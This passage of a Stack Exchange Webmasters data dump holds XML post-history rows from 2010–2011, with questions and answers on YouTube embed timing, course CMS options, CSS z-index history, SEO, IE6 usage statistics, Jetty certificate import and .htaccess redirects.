});&#xD;&#xA;&#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;    &lt;p&gt;Watch this video from &lt;a href=&quot;#20&quot; class=&quot;time&quot;&gt;20 seconds&lt;/a&gt; or from &lt;a href=&quot;#40&quot; class=&quot;time&quot;&gt;40 seconds.&lt;/a&gt;&lt;/p&gt;&lt;br/&gt;&lt;br/&gt;&#xD;&#xA;&#xD;&#xA;    &lt;iframe id=&quot;video&quot; width=&quot;560&quot; height=&quot;349&quot; src=&quot;http://www.youtube.com/embed/3CR5y8qZf0Y?start=0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;    &lt;/iframe&gt;&#xD;&#xA;&#xD;&#xA;**Demo**  &#xD;&#xA;Here's a [**working demo of the result.**][1] (Click the '20 seconds' and '40 seconds' links in the 'Result' frame on the bottom right to see it working.)&#xD;&#xA;&#xD;&#xA;**Notes**  &#xD;&#xA;Note that I modified the default YouTube embed code to add `?start=0` to the src and the `id=&quot;video&quot;` attribute so we can target that iframe with jQuery.&#xD;&#xA;&#xD;&#xA;Once you've done that, all links on the page using the `&lt;a href=&quot;#20&quot; class=&quot;time&quot;&gt;link text here&lt;/a&gt;` format will modify the start time and autoplay the video.&#xD;&#xA;&#xD;&#xA;Not sure if this is possible with Vimeo, as I'm not as familiar with their embed code.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jsfiddle.net/cPyZ9/4/" />
  <row Id="30517" PostHistoryTypeId="2" PostId="13249" RevisionGUID="b991aca1-24fc-42c6-84ff-6dcf0c6f2815" CreationDate="2011-05-03T10:32:44.063" UserId="4993" Text="I'm looking for a good CMS for managing courses. I don't want to run these courses via the internet - so I'm not looking for an e-learning CMS. &#xD;&#xA;&#xD;&#xA;What I need:  &#xD;&#xA;- create a database of courses, workshops with detailed description etc..  &#xD;&#xA;- allow users to register to the platform, subscribe for courses  &#xD;&#xA;- create profiles for tutors - with a short description etc.  &#xD;&#xA;- besides normal courses I would like to create some courses &quot;in plans&quot; - if there will be enough people interested in such course, we will try to organize it  &#xD;&#xA;- I also need to have the ability for users to send us information about courses they demand (i.e. they go to a page of the course that was run some time ago and click &quot;do it again!&quot; ;) )  &#xD;&#xA;- create the ability to give us a feedback after the course (polls etc)&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;I was thinking about moodle or dokeos but since I don't need the e-learning platform (only platform to manage the courses...) don't you think it's a little bit too sophisticated tool in my situation? &#xD;&#xA;&#xD;&#xA;What CMS would you recommend? " />
  <row Id="30518" PostHistoryTypeId="1" PostId="13249" RevisionGUID="b991aca1-24fc-42c6-84ff-6dcf0c6f2815" CreationDate="2011-05-03T10:32:44.063" UserId="4993" Text="Looking for CMS for managing courses" />
  <row Id="30519" PostHistoryTypeId="3" PostId="13249" RevisionGUID="b991aca1-24fc-42c6-84ff-6dcf0c6f2815" CreationDate="2011-05-03T10:32:44.063" UserId="4993" Text="&lt;cms&gt;" />
  <row Id="30520" PostHistoryTypeId="2" PostId="13250" RevisionGUID="097922a1-6f4d-4b88-ab7d-073fbf3ee3a4" CreationDate="2011-05-03T10:38:46.537" UserId="1893" Text="I'm asking because I remember a time when it wasn't possible &lt;br&gt;&#xD;&#xA;to create a div box on another one, and I was wondering when was it introduced. &lt;br&gt;&#xD;&#xA;It's probably a matter of CSS version, isn't it?" />
  <row Id="30521" PostHistoryTypeId="1" PostId="13250" RevisionGUID="097922a1-6f4d-4b88-ab7d-073fbf3ee3a4" CreationDate="2011-05-03T10:38:46.537" UserId="1893" Text="Since when is layering possible in Websites?" />
  <row Id="30522" PostHistoryTypeId="3" PostId="13250" RevisionGUID="097922a1-6f4d-4b88-ab7d-073fbf3ee3a4" CreationDate="2011-05-03T10:38:46.537" UserId="1893" Text="&lt;css&gt;" />
  <row Id="30523" PostHistoryTypeId="2" PostId="13251" RevisionGUID="45795d23-f7d4-4649-979f-f623736234c1" CreationDate="2011-05-03T10:42:53.973" UserId="6064" Text="Moodle is hardly sophisticated and is used by some brick-and-mortar universities. You can always just not use some of its features. You do not even have to install it to try it out, since you can download a [virtual appliance][1], for example from bitnami.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bitnami.org/stack/moodl" />
  <row Id="30524" PostHistoryTypeId="17" PostId="13253" RevisionGUID="aa5c22e6-e571-42e1-b5cc-5968201eca97" CreationDate="2011-05-03T10:50:05.140" UserId="-1" Comment="from http://stackoverflow.com/questions/2323418/search-engine-optimization-for-text-with-different-colors/2340263#2340263" Text="" />
  <row Id="30525" PostHistoryTypeId="17" PostId="13254" RevisionGUID="ed2ac326-cef2-447e-a323-436237e907df" CreationDate="2011-05-03T10:50:05.140" UserId="-1" Comment="from http://stackoverflow.com/questions/2323418/search-engine-optimization-for-text-with-different-colors/4100529#4100529" Text="" />
  <row Id="30526" PostHistoryTypeId="2" PostId="13253" RevisionGUID="89db3f20-7ff1-43e8-b0ed-5b72aec0bdca" CreationDate="2010-02-26T08:15:05.593" UserId="1647" Text="This isn't very friendly. Search Engines can understand the content but might not be able to consider COMPANY as one single word.&#xD;&#xA;&#xD;&#xA;My suggestion is to use JavaScript.&#xD;&#xA;You can write something like&#xD;&#xA;&#xD;&#xA;    This is our company name: &lt;span class=&quot;company&quot;&gt;COMPANY&lt;/span&gt;.&#xD;&#xA;&#xD;&#xA;Then use JavaScript to&#xD;&#xA;&#xD;&#xA;* load the content of the `.company` class&#xD;&#xA;* split/stylize the content of the element according to your custom rules&#xD;&#xA;&#xD;&#xA;If you already use a JavaScript framework like jQuery, it shouldn't be much work.&#xD;&#xA;" />
  <row Id="30527" PostHistoryTypeId="2" PostId="13254" RevisionGUID="399a403b-6f20-47ba-bac0-fbc74a4de58d" CreationDate="2010-11-04T19:34:41.753" UserDisplayName="Alison S" Text="I don't know anything about Java or CSS, but I know SEO marketing.&#xD;&#xA;&#xD;&#xA;I would recommend adding some alt text to the logo with your company name and slogan in the alt text.  Chances are, people aren't necessarily searching for YOUR COMPANY, but rather a problem, which your company has the solution to.  Think of your keywords as what the user is searching for.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30528" PostHistoryTypeId="2" PostId="13252" RevisionGUID="2767aaa6-24e0-4978-9999-a98ea41d6b40" CreationDate="2010-02-24T03:10:56.910" UserDisplayName="Obay" Text="We're trying to do SEO on our company website. Our company logo is just text (in image form), but has two colors in it. Our company name appears a lot in our website text/copy. For example, the sentence,&#xD;&#xA;&#xD;&#xA;    This is our company name: COMPANY.&#xD;&#xA;&#xD;&#xA;is coded as,&#xD;&#xA;&#xD;&#xA;    This is our company name: &lt;span class=&quot;logo_black&quot;&gt;COMP&lt;/span&gt;&lt;span class=&quot;logo_red&quot;&gt;A&lt;/span&gt;&lt;span class=&quot;logo_black&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;logo_red&quot;&gt;Y&lt;/span&gt;.&#xD;&#xA;&#xD;&#xA;Is it search engine friendly? If not, any suggestions?" />
  <row Id="30529" PostHistoryTypeId="1" PostId="13252" RevisionGUID="2767aaa6-24e0-4978-9999-a98ea41d6b40" CreationDate="2010-02-24T03:10:56.910" UserDisplayName="Obay" Text="Search engine optimization for text with different colors" />
  <row Id="30530" PostHistoryTypeId="3" PostId="13252" RevisionGUID="2767aaa6-24e0-4978-9999-a98ea41d6b40" CreationDate="2010-02-24T03:10:56.910" UserDisplayName="Obay" Text="&lt;seo&gt;&lt;search-engines&gt;" />
  <row Id="30531" PostHistoryTypeId="17" PostId="13252" RevisionGUID="325c0045-8c3e-42ba-8e46-2a5f1083c20b" CreationDate="2011-05-03T10:50:05.140" UserId="-1" Comment="from http://stackoverflow.com/questions/2323418/search-engine-optimization-for-text-with-different-colors" Text="" />
  <row Id="30532" PostHistoryTypeId="2" PostId="13255" RevisionGUID="0b316364-190b-46f2-9dec-0a10ba3733fb" CreationDate="2011-05-03T10:56:43.247" UserId="7256" Text="I need to design a user inteface which shows the user his/her list of appointments.&#xD;&#xA;Ideally it needs to show today, tomorrow, this week, this month as view options&#xD;&#xA;&#xD;&#xA;for filtering, user can choose open/closed/all appointments.&#xD;&#xA;&#xD;&#xA;I am looking for a diary view interface in existing websites for this. any reference urls for the same ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30533" PostHistoryTypeId="1" PostId="13255" RevisionGUID="0b316364-190b-46f2-9dec-0a10ba3733fb" CreationDate="2011-05-03T10:56:43.247" UserId="7256" Text="Diary view- user interface" />
  <row Id="30534" PostHistoryTypeId="3" PostId="13255" RevisionGUID="0b316364-190b-46f2-9dec-0a10ba3733fb" CreationDate="2011-05-03T10:56:43.247" UserId="7256" Text="&lt;website-design&gt;" />
  <row Id="30536" PostHistoryTypeId="5" PostId="13242" RevisionGUID="1f30fb64-f45f-43f0-858b-0251b6d04a98" CreationDate="2011-05-03T11:59:53.617" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Ratio of No-follow &amp;amp; Do-follow Backlinks](http://webmasters.stackexchange.com/questions/12690/ratio-of-no-follow-do-follow-backlinks)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've been playing with seomoz's tools and it seems like our site has a high number of nofollow links. &#xD;&#xA;&#xD;&#xA;from what I understand this is because a lot of blogs will make the links used in comments nofollow links, thereby not affecting our ranking? is this a problem and what can be done about it? " />
  <row Id="30537" PostHistoryTypeId="10" PostId="13242" RevisionGUID="82d89255-8319-41dc-912d-562c7d7930d2" CreationDate="2011-05-03T11:59:53.117" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="30538" PostHistoryTypeId="2" PostId="13256" RevisionGUID="4f56ff1b-8730-451d-bea8-322394e75f28" CreationDate="2011-05-03T12:07:23.073" UserId="1426" Text="You generally want to avoid having the same page available via. multiple URLs (in your case presumably example.com/ and example.com/index.php), although this isn't an issue if you add a rel canonical tag. The simplest fix for you, if you want to keep using relative links would be to just use `a href=&quot;./&quot;` when you want to link to the index.php page." />
  <row Id="30539" PostHistoryTypeId="2" PostId="13257" RevisionGUID="fff1f4b5-e2f0-4ac9-ba2b-73243de6b4ff" CreationDate="2011-05-03T12:11:18.267" UserId="6858" Text="Microformats don't require an exact piece of HTML, they are parsing the overall structure, using the class names.&#xD;&#xA;&#xD;&#xA;Hence, you can use `&lt;div class=&quot;item&quot;&gt;` or `&lt;span class=&quot;item&quot;&gt;` or `&lt;h2 class=&quot;item&quot;&gt;`, and all will identify the name of the item.&#xD;&#xA;&#xD;&#xA;If you have extraneous items around it, as long as they don't conflict with the item names, you are fine. For example, you ***couldn't*** do something like&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;item&quot;&gt;&#xD;&#xA;      &lt;div class=&quot;rating&quot;&gt;5&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;as it wouldn't be clear whether the '5' referred to the item or the rating.&#xD;&#xA;&#xD;&#xA;But you could have:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;rating-wrapper&quot;&gt;&#xD;&#xA;      &lt;div class=&quot;rating&quot;&gt;5&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;because Google doesn't understand `rating-wrapper` and so ignores it.&#xD;&#xA;&#xD;&#xA;Hence, you will see people mark up their HTML differently, but using the same class names. If Google is telling you it understands your HTML, then it almost certainly is.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="30540" PostHistoryTypeId="25" PostId="13249" RevisionGUID="8fc4110c-a1ab-4fd7-b53e-9cbd54526b62" CreationDate="2011-05-03T12:11:22.770" Comment="http://twitter.com/#!/StackWebmasters/status/65387976217198592" />
  <row Id="30541" PostHistoryTypeId="2" PostId="13258" RevisionGUID="4252f061-5d2e-4f84-afdd-1b59cd7f353c" CreationDate="2011-05-03T12:15:44.333" UserId="6858" Text="All the big calendar sites have an agenda view of some sort:&#xD;&#xA;&#xD;&#xA;* Google Calendar&#xD;&#xA;* Yahoo Calendar&#xD;&#xA;* 30boxes.com" />
  <row Id="30543" PostHistoryTypeId="2" PostId="13260" RevisionGUID="26c41fa1-960c-4802-9863-b55266d29c99" CreationDate="2011-05-03T13:05:20.477" UserId="7198" Text="The &lt;a href=&quot;http://www.w3.org/TR/CSS2/visuren.html#z-index&quot;&gt;z-index CSS property,&lt;/a&gt; which introduced the 'z-axis' and the ability to stack elements, was introduced with CSS2. &#xD;&#xA;&#xD;&#xA;CSS2 was &lt;a href=&quot;http://en.wikipedia.org/wiki/Cascading_Style_Sheets#CSS_2&quot;&gt;published by the W3C as a Recommendation in May 1998.&lt;/a&gt; So you're right -- it wasn't always possible, but it's been around for a while!" />
  <row Id="30544" PostHistoryTypeId="2" PostId="13261" RevisionGUID="5c13820f-fc0c-401d-9b6d-e01cb99bfa37" CreationDate="2011-05-03T13:16:05.370" UserId="7261" Text="Not sure I'm following what all was done differently.  Was the key difference that you used openssl instead of keytool to request the certificate?  What was used to do the import?  The commands listed in your answer:&#xD;&#xA;&#xD;&#xA;openssl pkcs12 -export -chain -CAfile gd_bundle.crt -in mysite.com.crt -inkey mysite.key -out mysite.pkcs12&#xD;&#xA;java -classpath jetty-util-6.1.26.jar:jetty-6.1.26.jar org.mortbay.jetty.security.PKCS12Import mysite.pkcs12 keystore&#xD;&#xA;&#xD;&#xA;These only show the &quot;openssl pkcs12 -export&quot; and a &quot;java -classpath&quot; command.  Did you still use keytool for the -import?&#xD;&#xA;" />
  <row Id="30545" PostHistoryTypeId="2" PostId="13262" RevisionGUID="22484469-746d-43e6-9449-616c3f7f071e" CreationDate="2011-05-03T13:17:44.270" UserId="1253" Text="Layers were first possible in Netscape 3 using the [`&lt;layer&gt;`][1] tag. This tag was proprietary to Netscape and was not supported by Internet Explorer. Support for it was abandoned in Netscape 6.&#xD;&#xA;&#xD;&#xA;IE 4 used `&lt;div&gt;` tags and the `z-index` CSS property to create layers. That has since become standard.&#xD;&#xA;&#xD;&#xA;  [1]: http://webdesign.about.com/od/htmltags/p/bltags_layer.htm" />
  <row Id="30546" PostHistoryTypeId="2" PostId="13263" RevisionGUID="f45fa6d1-209a-4a2d-bda8-5ae06f514b6f" CreationDate="2011-05-03T13:22:08.823" UserId="1253" Text="&gt; My site had not yet had the rating and&#xD;&#xA;&gt; reviews index under my links, where&#xD;&#xA;&gt; other websites have and they use the&#xD;&#xA;&gt; bare minimum. Also, having the same&#xD;&#xA;&gt; micro formats on multiple pages affect&#xD;&#xA;&gt; this too?&#xD;&#xA;&#xD;&#xA;Just because you use microformats doesn't mean Google will automatically include rich snippets with your listing. Just like sitelinks they only do it under certain circumstances. The microformats make it possible for them to do it, but it doesn't actually *make* them do it." />
  <row Id="30547" PostHistoryTypeId="6" PostId="13250" RevisionGUID="2dc9206d-3ea0-4041-81f7-772116e6ec81" CreationDate="2011-05-03T13:29:03.610" UserId="1253" Comment="edited tags" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="30548" PostHistoryTypeId="2" PostId="13264" RevisionGUID="218dd94b-9bdc-435b-a379-d8f92ea1beba" CreationDate="2011-05-03T13:45:08.360" UserId="195" Text="Google Search results are customised based on your location and your search history. Can you do a search that is independent of these factors, so that different users in different parts of the world get the same results for a particular search term?" />
  <row Id="30549" PostHistoryTypeId="1" PostId="13264" RevisionGUID="218dd94b-9bdc-435b-a379-d8f92ea1beba" CreationDate="2011-05-03T13:45:08.360" UserId="195" Text="How do you Google search without personalisation and localisation?" />
  <row Id="30550" PostHistoryTypeId="3" PostId="13264" RevisionGUID="218dd94b-9bdc-435b-a379-d8f92ea1beba" CreationDate="2011-05-03T13:45:08.360" UserId="195" Text="&lt;google&gt;&lt;google-search&gt;" />
  <row Id="30551" PostHistoryTypeId="2" PostId="13265" RevisionGUID="39167e34-d971-48da-976c-c84012cec649" CreationDate="2011-05-03T13:48:41.913" UserId="1253" Text="No. Customization and localisation is how Google is offering their results now as it allows them to offer better and more targeted results to their users. There is no way to stop this." />
  <row Id="30552" PostHistoryTypeId="2" PostId="13266" RevisionGUID="902d304c-17f1-4951-8c56-bb527b5e2529" CreationDate="2011-05-03T14:10:39.823" UserId="1643" Text="The place when it looks sloppy is when people quote your URL and put the index.php on the end. Tim's suggestion should help you with any SEO issues, so it's a good thing to do." />
  <row Id="30553" PostHistoryTypeId="2" PostId="13267" RevisionGUID="0d966d8c-ee78-40c6-9fc3-3021bea457dc" CreationDate="2011-05-03T14:16:02.257" UserId="7198" Text="Google Analytics claims to track the &lt;a href=&quot;http://www.google.com/support/googleanalytics/bin/answer.py?hl=en&amp;answer=60127&quot;&gt;&quot;preferred *language* [not *languages*] that visitors have configured on their computers.&quot;&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;This implies that they strip info after the first semicolon in the Accept-Language header. It's hard to tell from their documentation whether or not this is the case for sure, but you could test it by creating a secret page, adding analytics code, visiting it ten times yourself, and seeing which languages were reported under Visitors&gt;Languages.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://imimpact.com/web-stats-alternatives-to-google-analytics/&quot;&gt;Competing services&lt;/a&gt; appear to take the same approach, so your options appear to be limited to using &lt;a href=&quot;http://net.tutsplus.com/tutorials/other/quick-tip-the-power-of-google-analytics-custom-variables/&quot;&gt;Google Analytics custom variables&lt;/a&gt; or &lt;a href=&quot;http://www.woopra.com/features/custom-visitor-data/&quot;&gt;Woopra Custom Visitor Data&lt;/a&gt; or a home-baked solution to manipulate and store the full Accept-Language header." />
  <row Id="30554" PostHistoryTypeId="5" PostId="10534" RevisionGUID="4a11cf0d-e468-4b0b-8515-9ddff79b8809" CreationDate="2011-05-03T14:35:03.843" UserId="5315" Comment="Removed reference to the fact it should be moved to pro webmasters; it's on here already." Text="I'd go for the third version, as long as the linktext itself is not the long version. The anchor text in a link is very important for SEO, but it's better to focus on two or three keywords (&quot;dutch design&quot;, &quot;best wordpress themes&quot;) than a very long text with 'filler words' (&quot;dutch design crazy yes but always honest&quot;). This is also a usability issue, a short descriptive link is easier to grasp than an entire sentence&#xD;&#xA;&#xD;&#xA;For the urls however I would advise to use the longer version, so instead of using a canonical just link to the long version of the link or do a 301 redirect. That way the url says something useful about the page, and people will find it easier to find the page back in their browser history. And who knows, even some of the less important words in the url may help you score in Google. It's better to have them in the url than in the link's anchor text IMO." />
  <row Id="30555" PostHistoryTypeId="24" PostId="10534" RevisionGUID="4a11cf0d-e468-4b0b-8515-9ddff79b8809" CreationDate="2011-05-03T14:35:03.843" Comment="Proposed by 5315 approved by 1253 edit id of 245" />
  <row Id="30556" PostHistoryTypeId="2" PostId="13268" RevisionGUID="42359c86-9aa0-4652-9438-bc32d3ce95ca" CreationDate="2011-05-03T14:57:37.353" UserId="7019" Text="The short answer is YES, you can buy one domain, and use it as a &quot;custom domain&quot; in Blogger. (I'm assuming by &quot;custom domain&quot; that you mean the Blogger feature that lets point a domain to your blog, hosted at Blogger.)&#xD;&#xA;&#xD;&#xA;Blogger's &quot;custom domain&quot; feature has one important requirement: the service that you buy your domain from must allow you to create a CNAME to your blog (hosted at Blogger). Also, the other big thing to watch out for is that Blogger doesn't allow you to redirect from a naked URL (in other words domain.com cannot be made to point to a Blogger-hosted blog). You must something like www.domain.com or blog.domain.com. See these URLs for more information:&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/blogger/bin/topic.py?hl=en&amp;topic=12451&#xD;&#xA;&#xD;&#xA;http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;answer=58317&#xD;&#xA;&#xD;&#xA;As [itai](http://webmasters.stackexchange.com/users/5806/itai) points out, there's a big difference between domains (the address), hosting (the actual physical &quot;server&quot; where your content lives), and the blogging software (the program that lets you type in content).&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="30557" PostHistoryTypeId="25" PostId="13264" RevisionGUID="da76d56c-31d7-4282-941a-8918708cb474" CreationDate="2011-05-03T15:11:22.837" Comment="http://twitter.com/#!/StackWebmasters/status/65433273974788097" />
  <row Id="30558" PostHistoryTypeId="2" PostId="13269" RevisionGUID="b9ed6c23-95da-4e67-bb6e-9cddfb9d4c7b" CreationDate="2011-05-03T15:31:42.347" UserId="8331" UserDisplayName="jdln" Text="I know the general advice is that its no longer necessary to support IE6, but ive also heard the best data is the analytics of actual users to your site. All of my sites are currently low traffic so I cant relay use my data on this. Can anyone share their findings regarding IE6 and what types of sites (if any) are visited by IE6 and so should be supported? &#xD;&#xA;Thanks" />
  <row Id="30559" PostHistoryTypeId="1" PostId="13269" RevisionGUID="b9ed6c23-95da-4e67-bb6e-9cddfb9d4c7b" CreationDate="2011-05-03T15:31:42.347" UserId="8331" UserDisplayName="jdln" Text="Who has IE6 users viewing their site?" />
  <row Id="30560" PostHistoryTypeId="3" PostId="13269" RevisionGUID="b9ed6c23-95da-4e67-bb6e-9cddfb9d4c7b" CreationDate="2011-05-03T15:31:42.347" UserId="8331" UserDisplayName="jdln" Text="&lt;cross-browser&gt;&lt;internet-explorer-6&gt;" />
  <row Id="30561" PostHistoryTypeId="17" PostId="13269" RevisionGUID="b5b903a1-0e36-43f5-a66c-02b33549e497" CreationDate="2011-05-03T15:35:34.983" UserId="-1" Comment="from http://stackoverflow.com/questions/5871925/who-has-ie6-users-viewing-their-site" Text="" />
  <row Id="30562" PostHistoryTypeId="2" PostId="13270" RevisionGUID="8df03320-37a1-4506-972e-f8fac6007571" CreationDate="2011-05-03T15:39:31.737" UserId="7265" Text="IE6 has too low of percentage to even count it. &#xD;&#xA;&#xD;&#xA;Here are stats of browsers from a site that receives over 1 million unique hits a month.&#xD;&#xA;&#xD;&#xA;    * -IE8 - 29.2%&#xD;&#xA;    * -FF 3.6 - 16.3%&#xD;&#xA;    * +Chrome 10/11 - 12.9%&#xD;&#xA;    * -IE7 - 11.4%&#xD;&#xA;    * +Safari5 - 7.7%&#xD;&#xA;    * +FF4 - 6.6%&#xD;&#xA;    * None - 5.5% Traffic requested from browsers with no header &#xD;&#xA;    * +IE9 - 3.8%&#xD;&#xA;    * Opera 11 - 0.4% " />
  <row Id="30563" PostHistoryTypeId="16" PostId="13269" RevisionGUID="9827f693-e47a-4b40-b5f6-dc5b3bbbd676" CreationDate="2011-05-03T15:39:56.807" UserId="1253" />
  <row Id="30564" PostHistoryTypeId="16" PostId="13270" RevisionGUID="772cabdf-4c5f-4833-b394-78bc81ce0721" CreationDate="2011-05-03T15:40:04.357" UserId="1253" />
  <row Id="30565" PostHistoryTypeId="2" PostId="13271" RevisionGUID="adfd8945-5df6-40e7-8e94-72bcf98ef890" CreationDate="2011-05-03T15:43:34.147" UserId="7266" Text="This is what ive heard, it just worries me that w3schools says their is about the same amount of people on IE6 and Opera: &#xD;&#xA;http://www.w3schools.com/browsers/browsers_stats.asp" />
  <row Id="30566" PostHistoryTypeId="16" PostId="13271" RevisionGUID="41a3547d-1dfe-4c46-9046-48260f8fcb99" CreationDate="2011-05-03T15:43:34.147" UserId="7266" />
  <row Id="30567" PostHistoryTypeId="2" PostId="13272" RevisionGUID="bc7e8da8-8508-4cb4-9cef-0858975ccdab" CreationDate="2011-05-03T15:52:44.727" UserId="1253" Text="Here is the percentage of IE users for a website for a vacation city in the US. It gets approximately 50,000 visitors a month.&#xD;&#xA;&#xD;&#xA;    Msie 9.0  2.6 %	&#xD;&#xA;    Msie 8.0  42.6 %	&#xD;&#xA;    Msie 7.0  13.9 %	&#xD;&#xA;    Msie 6.0  2.6 %&#xD;&#xA;        &#xD;&#xA;    Firefox   13.4 % (all versions)&#xD;&#xA;    Chrome    6.3 % (all versions)&#xD;&#xA;    Safari    16 % (all versions)&#xD;&#xA;" />
  <row Id="30568" PostHistoryTypeId="16" PostId="13272" RevisionGUID="bcbe5400-cb0c-4f43-a05f-4c400079dc87" CreationDate="2011-05-03T15:52:44.727" UserId="1253" />
  <row Id="30569" PostHistoryTypeId="2" PostId="13273" RevisionGUID="a5ab528e-e52d-41fa-a533-de6eeb5be025" CreationDate="2011-05-03T16:12:20.813" UserId="1429" Text="YES and NO.&#xD;&#xA;&#xD;&#xA;**For search indipendent from you search history** YES! you simply have to reset browser (delete cache, cookies, history, etc) prior searching on Google.&#xD;&#xA;The browser MUST not have Google Toolbar installed too.&#xD;&#xA;Since you probbaly don't want to do it on the main browser you are using every day a good option could be to install a browser just to do these type of tests, You can then reset such browser whenever you want because you are not interested in keeping cookies/hisroty/contents... there.&#xD;&#xA;&#xD;&#xA;**For location indipendent** NO! I think it's not possible because Google sees the IP you use to navigate and can easily geo locate you from it. You would need to search using a proxy, but still Google would geolocate the proxy from its IP.&#xD;&#xA;" />
  <row Id="30570" PostHistoryTypeId="2" PostId="13274" RevisionGUID="1d0e4af1-906c-4343-bb65-f4be2cff81b3" CreationDate="2011-05-03T16:21:18.410" UserId="7247" Text="Depends on your demographics.  Take these 2 sites I operate for example, both with HIGH traffic.&#xD;&#xA;&#xD;&#xA;**Site 1** - blog regarding coding, PDO &amp; databases.  Demographic - tech forward, early adopters.  &#xD;&#xA;&#xD;&#xA;IE use TOTAL - 8.7%.  &#xD;&#xA;ie6 use - negligible.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Site 2** - retail site in a mature community with an average customer age of 46.&#xD;&#xA;&#xD;&#xA;IE use TOTAL - 52%  &#xD;&#xA;ie6 use - 4.8%&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Another option** is to code for ie7+ and redirect all ie6 users to an &quot;Update your ie version&quot; page.  &#xD;&#xA;[redirect ie6 users][1]  &#xD;&#xA;[redirect / block ie6 users][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sonspring.com/journal/redirect-ie6&#xD;&#xA;  [2]: http://twodayslate.wordpress.com/2007/09/09/blockredirect-ie6-users/" />
  <row Id="30571" PostHistoryTypeId="16" PostId="13274" RevisionGUID="3a1a849e-f30e-4334-b1b5-9df7141573c7" CreationDate="2011-05-03T16:21:18.410" UserId="7247" />
  <row Id="30572" PostHistoryTypeId="2" PostId="13275" RevisionGUID="f5a6bcf6-4bcc-441f-9e2b-101a9d2fdd2f" CreationDate="2011-05-03T16:32:53.217" UserId="7268" Text="I have copied Joomla based website via FTP onto my machine and I am trying to make it run on my localhost which is provided by the latest version of XAMPP. I have exported and imported the DB with no problems. I have placed all the files and folders into htdocs folder but when I go to localhost/examplesite all I get is the text that is on the front page but no pictures and it displays 404 Error. Do I need to make changes to .htaccess? If so, can some one point me to the right direction? Thanks" />
  <row Id="30573" PostHistoryTypeId="1" PostId="13275" RevisionGUID="f5a6bcf6-4bcc-441f-9e2b-101a9d2fdd2f" CreationDate="2011-05-03T16:32:53.217" UserId="7268" Text="Why is Joomla based website that was copied off of live server into localhost not showing pictures and throwing 404 error?" />
  <row Id="30574" PostHistoryTypeId="3" PostId="13275" RevisionGUID="f5a6bcf6-4bcc-441f-9e2b-101a9d2fdd2f" CreationDate="2011-05-03T16:32:53.217" UserId="7268" Text="&lt;joomla&gt;&lt;xampp&gt;&lt;windows-7&gt;" />
  <row Id="30575" PostHistoryTypeId="2" PostId="13276" RevisionGUID="78481a28-4397-41b2-b407-3b9969330448" CreationDate="2011-05-03T17:12:42.557" UserId="6858" Text="The most common users of IE6 are those where upgrades are a real headache - big corporate or public sector offices are the most common.&#xD;&#xA;&#xD;&#xA;One of the reasons for this is that the intranet or some other internal web-based app only works in IE6. Consequently, everyone has to be upgraded simultaneously.&#xD;&#xA;&#xD;&#xA;So if you're targeting big bluechip companies or public sector organisations, IE6 should be important to you.&#xD;&#xA;&#xD;&#xA;Otherwise, get it working to a bare minimum, use cross-browser polyfills and provide a message in the FAQ about why your site doesn't look as amazing in IE6 as it does in Firefox." />
  <row Id="30576" PostHistoryTypeId="16" PostId="13276" RevisionGUID="aa9b1e80-4302-4f12-889d-dd4d6daaabc4" CreationDate="2011-05-03T17:12:42.557" UserId="6858" />
  <row Id="30577" PostHistoryTypeId="2" PostId="13277" RevisionGUID="cefde2d8-71aa-4b2e-9354-ceb5ef31fc65" CreationDate="2011-05-03T17:56:17.767" UserId="5806" Text="This month my highest traffic site received 1.35% visitors from IE 6.&#xD;&#xA;&#xD;&#xA;This has been going down. The same period last year had 3.5% and I suspect the rate will continue as computers get replaced and upgraded.&#xD;&#xA;&#xD;&#xA;In September last year I officially discontinued support for IE 6 and 7 on one of my sites and that impacted about 7% of visitors at the time. This let me give neat features to most of the remaining 93%. Millions of visitors later, not a single complaint :)" />
  <row Id="30578" PostHistoryTypeId="16" PostId="13277" RevisionGUID="4bd7e752-b7e4-4bd2-9764-05211cdf8a54" CreationDate="2011-05-03T17:56:17.767" UserId="5806" />
  <row Id="30579" PostHistoryTypeId="2" PostId="13278" RevisionGUID="b333bf60-efb4-4655-8710-a9ac4adaa6c1" CreationDate="2011-05-03T17:59:33.657" UserId="6033" Text="I want to redirect an entire duplicate directory to the same files in the directory above the dup_folder.&#xD;&#xA;&#xD;&#xA;Redirect Code in .htaccess:&#xD;&#xA;&#xD;&#xA;    Redirect 301 /dup_folder/ http://www.example.biz/&#xD;&#xA;&#xD;&#xA;It redirects to:&#xD;&#xA;&#xD;&#xA;    http://www.example.biz/inspection11.htm?q=dup_folder/inspection11.htm&#xD;&#xA;&#xD;&#xA;But I want it to redirect to:&#xD;&#xA;&#xD;&#xA;    http://www.example.biz/inspection11.htm&#xD;&#xA;&#xD;&#xA;Is there something I can add to .htaccess to Rewrite the URL to how I want, or are the two above URLs seen as the exact same URL to a search engine?&#xD;&#xA;" />
